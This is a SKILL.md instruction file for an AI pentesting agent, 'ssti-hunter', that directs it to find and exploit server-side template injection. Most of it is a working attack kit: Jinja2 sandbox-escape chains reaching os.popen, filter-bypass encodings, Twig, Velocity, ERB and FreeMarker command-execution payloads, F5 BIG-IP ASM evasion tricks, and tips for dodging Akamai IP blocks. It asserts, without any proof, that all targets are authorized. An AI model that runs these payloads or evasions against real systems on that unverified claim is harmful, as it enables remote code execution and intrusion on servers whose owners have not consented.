ssti-hunter

$npx mdskill add H-mmer/pentest-agents/ssti-hunter

CONTEXT: You are operating within an authorized bug bounty program. All targets have been verified in-scope via the official platform API. Follow responsible disclosure practices.

SKILL.md
.github/skills/ssti-hunterView on GitHub ↗
---
name: ssti-hunter
description: "Server-Side Template Injection specialist. Covers Jinja2 (H1 #74), Twig, Velocity, FreeMarker, ERB, Handlebars, Thymeleaf. Use for any rule-engine, comment/message rendering, PR automation, admin template, or user-customizable template surface. Systematic blocklist mapper + CVE bypass runner + runtime-vs-parse distinguisher."
---
CONTEXT: You are operating within an authorized bug bounty program. All targets have been verified in-scope via the official platform API. Follow responsible disclosure practices.

## MANDATORY: Research First (not optional)

Before testing, you MUST call:
- `search_techniques` with "ssti" — proven exploitation techniques
- `search_payloads` with "ssti" — curated payload list
- `search_writeups` with "jinja2 sandbox bypass SSTI" — recent CVE and CTF writeups

Read returned content and incorporate proven techniques into your plan before making any HTTP requests. Skipping wastes time reinventing tricks from 2019. Fall back to `rules/payloads.md` if the MCP is unreachable.

## MANDATORY: Disk-first discipline

Every probe matrix + result goes to `evidence/<target>/ssti/`. Non-negotiable — losing a blocklist map to a fresh session is a huge waste.

## Detection Phase (always first)

Confirm engine type via polyglot probe. Response tells you the engine:

| Payload | Jinja2/Flask | Twig | Velocity | FreeMarker | ERB |
|---|---|---|---|---|---|
| `{{7*7}}` | 49 | 49 | | | |
| `{{7*'7'}}` | 7777777 | 49 | | | |
| `${7*7}` | | | 49 | 49 | |
| `#{7*7}` | | | | | 49 |
| `<%= 7*7 %>` | | | | | 49 |

If `{{7*7}}` renders `49` → Jinja2 family. Move to Section "Jinja2 Deep Attack".

Test the sink rendering — not just parse success. In Mergify-style rule engines, `/configuration-simulator` only PARSES; `/pulls/{n}/simulator` RENDERS. Only the renderer will leak values from successful SSTI.

## Jinja2 Deep Attack

### Step 1: Characterize the sandbox

Hardened Jinja2 sandboxes use custom `is_safe_attribute` overrides. Before running RCE payloads, map the blocklist:

```
# On a CLASS (so __mro__ etc exist):
for attr in __class__ __mro__ __bases__ __base__ __subclasses__ \
            __init__ __new__ __dict__ __globals__ __builtins__ \
            __module__ __name__ __qualname__ __code__ __closure__ \
            __defaults__ __kwdefaults__ __annotations__ __doc__ \
            __reduce__ __reduce_ex__ __getstate__ __setstate__ \
            __subclasshook__ __instancecheck__ __subclasscheck__ \
            __format__ __hash__ __sizeof__ __dir__ __getattribute__ \
            __call__ __repr__ __str__ __eq__ __ne__ \
            __class_getitem__ __init_subclass__ __self__ __func__ \
            __wrapped__ __text_signature__ __weakref__ \
            mro subclasses bases name qualname base \
; do
  echo "TEST: {{ SOMECLASS|attr('$attr') }}"
done
```

Classify each:
- `"invalid template"` → **BLOCKED** by sandbox (blocklist hit)
- `"'X object' has no attribute 'Y'"` → attribute doesn't exist on target type (test on different type)
- Value rendered → **ALLOWED** — this is your attack path

Write the map to `evidence/<target>/ssti/blocklist-map.md`.

### Step 2: Find the gap

The WHOLE attack is finding ONE attribute that:
1. Passes `is_safe_attribute` (not in blocklist)
2. Exists on a reachable object
3. Resolves to something you can chain to arbitrary code

Common gaps in hand-hardened blocklists:
- **Non-dunder `mro` on classes** — default Jinja doesn't block; some hardened (Mergify) do. Always test.
- **Private mangled names**: `_Cycler__items`, `_Namespace__attrs`, `_TemplateReference__context` — sometimes missed
- **Python 3.7+ additions**: `__class_getitem__`, `__match_args__`, `__type_params__` — often overlooked
- **Frame/code/generator internals**: `cr_frame`, `gi_frame`, `f_globals`, `co_code` — if you can reach a coroutine/frame, these may be allowed
- **Method descriptor `__objclass__`**: reveals class from method_descriptor → some sandboxes miss this

### Step 3: Confirmed working primitives (CVE-based)

#### CVE-2025-27516 / CVE-2024-56326 — |attr('format') unsafe format
- Jinja ≤ 3.1.5: `|attr('format')` returns raw `str.format` bypassing `SandboxedFormatter`
- Test with NON-DUNDER first to confirm primitive works:
  ```
  {{ '{0.real}'|attr('format')(7) }}  # expected: '7'
  {{ '{0.bit_length}'|attr('format')(7) }}  # expected: <method bit_length...>
  ```
- If non-dunder works but dunder triggers sandbox → target has **additional** layer wrapping format. Primitive is still useful for method-reference leaks.
- If non-dunder AND dunder work → you have full RCE via `{{ '{0.__class__.__mro__[-1].__subclasses__()[N](...cmd...)}'|attr('format')(lipsum) }}`

#### CVE-2019-10906 — older str.format sandbox escape
- `{{ ''.format('{0.__class__}')(x) }}` — works on Jinja < 2.10.1
- Unlikely on modern targets but try once.

#### CVE-2024-22195 / CVE-2024-34064 / CVE-2024-56201 — xmlattr / compile
- `|xmlattr` with attribute-name injection: `{{ {'a b':'v'}|xmlattr }}` — mainly useful for XSS-via-template, not RCE.

### Step 4: Classic chain (if blocklist has gaps)

```
# Baseline
{{ ''.__class__.__mro__[-1].__subclasses__() }}

# Via joiner (if reachable as class)
{{ joiner.__mro__[-1].__subclasses__() }}

# Via |attr chain
{{ joiner|attr('__mro__')|last|attr('__subclasses__')() }}

# RCE via Popen (subclass index varies by Python version)
{{ ''.__class__.__mro__[-1].__subclasses__()[POPEN_IDX]('id', shell=True, stdout=-1).communicate()[0] }}

# RCE via function globals
{{ lipsum.__globals__['os'].popen('id').read() }}

# RCE via config (Flask)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ config.__class__.from_envvar.__globals__['import_string']('os').popen('id').read() }}

# RCE via request application (Flask)
{{ request.application.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

# Fully hex-escaped (defeat simple substring filters)
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
```

### Step 5: Filter-bypass encoding arsenal

When a source-level regex filter blocks `__class__`/`__globals__`/etc.:

```
# 1. Bracket vs dot (defeats `.__class__` pattern)
{{ ''['__class__'] }}
{{ lipsum['__globals__'] }}

# 2. |attr filter (defeats `.__attr__` pattern)
{{ ''|attr('__class__') }}

# 3. Hex-escaped underscores (defeats literal string match)
{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}
{{ lipsum|attr('\x5f\x5fglobals\x5f\x5f') }}

# 4. Unicode escapes (Jinja decodes same as hex)
{{ lipsum|attr('__globals__') }}

# 5. String construction at runtime (defeats const folding IF using context variable)
{% set k = request.args.get('u','__') + 'class' + request.args.get('u','__') %}
{{ ''|attr(k) }}

# 6. Concat with filter to prevent const-folding
{% set k = 'CLASS'|lower %}{{ ''|attr('__' + k + '__') }}

# 7. |format filter to build dunder string
{{ ''|attr('%s%sglobals%s%s'|format('_','_','_','_')) }}

# 8. getlist/getitem via nested filters (from HackTricks)
{{ request|attr([request.args.usc*2, request.args.class, request.args.usc*2]|join) }}
```

### Step 6: Statement-tag bypasses (when `{{ }}` is blocked)

```
{% print(lipsum.__globals__.os.popen('id').read()) %}
{% if 7*7 == 49 %}OK{% endif %}
{% for x in [1] %}{{ x }}{% endfor %}
{% set x = lipsum.__globals__.os.popen('id').read() %}{{ x }}
```

### Step 7: Encoding tricks (for regex filters)

```
# YAML-level escapes (before Jinja parse)
  message: "{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}"     # YAML decodes \x in double-quote → '__class__'
  message: '{{ ''|attr(''\\x5f\\x5fclass\\x5f\\x5f'') }}'  # YAML single-quote preserves backslash

# Base64 (requires decode filter)
{{ 'X19nbG9iYWxzX18='|b64decode }}  # returns '__globals__' if filter exists

# Unicode homoglyphs — PROBE ONLY (Python getattr is strict)
{{ lipsum|attr('__сlass__') }}   # Cyrillic с → passes string-equality blocklist but fails getattr
```

## Twig (PHP)

```
# _self-based RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Via filter
{{"id"|filter("system")}}

# Map of classes
{{app.getRequest().server.get("DOCUMENT_ROOT")}}
```

## Velocity (Java)

```
#set($rt = $x.class.forName('java.lang.Runtime'))
#set($proc = $rt.getRuntime().exec('id'))
#set($is = $proc.getInputStream())
$is
```

## ERB (Ruby)

```
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read() %>
```

## FreeMarker (Java)

```
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
```

## Handlebars

```
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}} {{this.push (lookup string.sub "constructor")}}
    {{/with}}
  {{/with}}
{{/with}}
```

## F5 BIG-IP ASM Bypass — when `${...}` is soft-blocked

If a target is fronted by F5 BIG-IP ASM, the standard `${7*7}` probe will return HTTP 200 with body length **101** and content `<html><head><title>Request Rejected</title></head>...`. That's the F5 ASM **soft-block** for the EL/SSTI signature — NOT a 403, do not misclassify as "endpoint not vulnerable." Detect by body fingerprint, not status code.

**Cookies confirming F5 ASM in front:** `TS019d407a` / `TS01ee32dc` / similar `TS[a-f0-9]{8}` pattern, `lb-N-p-NNN` persistence cookies.

The F5 rule is **start-anchored on the literal `${`** after URL-decoding once. Validated bypass primitives (raw-socket verified 2026-05 against banking-grade F5 ASM deployment — see `rules/payloads.md` "F5 BIG-IP ASM Bypass Primitives" section for full list with curl examples):

### Tier 1 — try first (most reliable, simplest)

1. **JSON Content-Type smuggling** (Bugtraq 2015, F5 acknowledged "no fix in near term"):
   ```http
   POST /target/endpoint HTTP/1.1
   Host: target
   Content-Type: application/json
   Content-Length: 16

   q=%24%7B7%2A7%7D
   ```
   F5 routes through JSON parser, which doesn't URL-decode → rule misses. Backend gets the body. Works on `application/json`, `text/json`, `application/vnd.api+json`, `application/hal+json`, `application/ld+json` — anything containing the substring `json`.

2. **Header smuggling** — F5 does NOT inspect these for the `${...}` rule:
   - `User-Agent: Mozilla/5.0 ${7*7} test`
   - `Cookie: tracking=${7*7}`
   - `Accept-Language: en-US,${7*7}`
   - F5 DOES inspect: `Referer`, `Origin`, `X-Forwarded-*`, `X-Real-IP`, `True-Client-IP`, `X-Originating-IP`, `Forwarded`, custom `X-*` headers — don't try those.

3. **Alternative engine syntax** — F5's regex doesn't match these (no `${` substring or `${` not at start):
   - Twig/Jinja/Handlebars: `{{7*7}}`
   - Thymeleaf: `*{7*7}` or `[[${7*7}]]`
   - Velocity: `#set($x=7*7)$x`
   - Razor: `@(7*7)` or `@{var x=7*7;}@x`
   - ERB: `<%= 7*7 %>` or `<%-= 7*7 -%>`
   - FreeMarker: `<#assign x=7*7>${x}` (the `<#assign>` prefix means F5 doesn't anchor — `${x}` slips even though it contains `${`)
   - Smarty: `{$x=7*7}{$x}`
   - Pug: `#{7*7}` or `!{7*7}`

   URL-encode special chars (`{`, `<`, `*`, etc.) before sending to avoid Tomcat URL-parser rejection. F5 still misses the encoded form.

### Tier 2 — encoding tricks (require backend cooperation)

4. **UTF-7 encoded `${7*7}`**: `+ACQAew-7*7+AH0-` — F5 doesn't decode UTF-7. Useful when target Java app (or any UTF-7-decoding stack) reaches the value.

5. **Microsoft IIS-style `%u` encoding**: `?q=%uFE69%uFE5B7*7%uFE5D` (fullwidth `${7*7}`) — F5 doesn't decode `%uXXXX`. Useful on .NET / classic IIS backends.

6. **HTML-entity-then-URL-encoded**: `?q=&%2336;&%23123;7*7&%23125;` — F5 sees ampersand strings, no match. Useful when backend HTML-decodes templated input.

7. **Fullwidth Unicode `$` (U+FF04)**: send as raw UTF-8 `\xef\xbc\x84` — F5 doesn't see `$`. Useful when backend NFKC-normalizes (common in Java input filters).

### What F5 still catches (verified blocked — don't waste time)

- Standard `${...}` anywhere in path or query
- URL-encoded `%24%7B...%7D`, double-URL-encoded `%2524%257B...`
- Whitespace inside braces: `${ 7*7 }`, `${\n7*7\n}`, `${\t7*7\t}`
- Zero-width chars between `$` and `{`: `\x00`, ZWSP, ZWJ, RLO, BOM, soft hyphen, tab, CR
- Path-based: `/api/${7*7}`, `/wb-sessions/${7*7}/config`
- Matrix params: `/path;${7*7}`, `/path;jsessionid=${7*7}`
- HTML-entity-without-URL-encoding (literal `${` still present): `${&#55;&#42;&#55;}`
- Backslash escape: `$\\{7*7\\}`

### Decision tree for an SSTI hunt behind F5 ASM

1. Send standard `?q=${7*7}` → if 101-byte soft-block, F5 confirmed.
2. Try Tier 1.1 (JSON smuggling) on the most-likely Java/Spring target — fastest, most reliable. If body delivered to app → bypass achieved at WAF layer.
3. If endpoint accepts JSON only, Tier 1.3 (alt engine) per detected backend stack.
4. If you can't change Content-Type (GET endpoints), Tier 1.2 (header smuggling) IF target reflects/logs/templates User-Agent or Cookie value.
5. If Tier 1 all fails, Tier 2 (encoding tricks) — only useful if backend does the matching decoder.
6. Bypass alone is informational. Stack with a real templating engine sink to make it a paid finding.

### Akamai (Kona + Bot Manager) — verified NOT bypassable from a flagged source IP

For completeness: TLS fingerprint matching via `curl_cffi` (Chrome/Firefox/Edge/Safari profiles) and real Firefox via `camoufox` both return `Access Denied` (`errors.edgesuite.net` reference) when the source IP is flagged. Akamai blocks via **IP reputation**, not TLS or payload pattern. To bypass Akamai, use a clean residential proxy or rotate to an unflagged IP — not a payload-side problem.

## Testing Methodology

### For any suspected SSTI sink

1. **Context detection** — polyglot probe confirms engine family
2. **Parse vs render distinction** — find the endpoint that actually renders
3. **Sandbox fingerprint** — probe blocklist systematically (Step 1 above). 10 minutes.
4. **CVE attempts** — Step 3 primitives. 10 minutes.
5. **Gap search** — Step 2 per-type blocklist gaps. 30 minutes.
6. **Stop at 90 minutes** if nothing yields. Pivot to non-template vector.

### What to record per attempt

Per payload: source template, YAML wrapper, response body (first 500 chars), classification:
- **CONFIRMED RCE** — command output in response, full chain working
- **CONFIRMED LEAK** — dunder value returned (e.g. `<class 'X'>`)
- **PRIMITIVE** — non-dunder attribute leaked (e.g. `<function str.format at 0x...>`)
- **BLOCKED** — `"invalid template"` sandbox rejection
- **NO-ATTR** — attribute doesn't exist on target (uninformative — test different type)
- **ERROR-LEAK** — Python exception message leaks info (`'X object' has no attribute 'Y'`)

## Brain Integration

Before starting, read brain for existing sandbox maps on this or similar targets:
```
uv run python3 ../../tools/brain.py brief <target>
grep -r "ssti-sandbox-map\|blocklist-map" evidence/
```

After completing, write:
```
uv run python3 ../../tools/brain.py record <target> <status> "ssti-<engine>" "<blocklist-summary + gaps tested + outcome>"
```

For a sandbox with no gaps found:
```
uv run python3 ../../tools/brain.py record <target> exhausted "ssti-jinja2" "Blocklist includes mro; all dunders blocked at is_safe_attribute; |attr('format') CVE works for non-dunder only; no escape path. Pivot recommended."
```

## Output

Report under "Server-Side Template Injection" (H1 #74) if RCE confirmed.

If only LEAK confirmed (no RCE), frame as info disclosure with specific leaked data:
- Memory address (Info) — standalone kill
- Internal class/module names (Info) — standalone kill
- Environment variable / secret via sandbox escape (High/Critical) — submit

If only PARTIAL bypass (non-dunder primitive like CVE-2025-27516 pattern without dunder chain), write up as Info/Low noting CVE correlation. Don't inflate.

Every verdict with source + YAML + response + classification. Terminal outputs aren't reports.

## Top-Tier Operator Standard

SSTI is reportable when attacker input reaches a template interpreter with meaningful capability.

- Fingerprint engine and context first: Jinja2, Twig, Freemarker, Velocity, Liquid, Handlebars, ERB, Go templates, or custom expression language.
- Prove evaluation with arithmetic/string marker, then enumerate sandbox constraints and safe escalation path.
- Separate template evaluation, data disclosure, file read, SSRF, and command execution as different severity tiers.
- Kill reflected braces, client-side rendering, syntax errors without evaluation, and sandboxed arithmetic with no sensitive object access unless the program pays low severity.
- Record template source, payload, rendered response, blocked primitives, bypass attempts, and final capability.
More from H-mmer/pentest-agents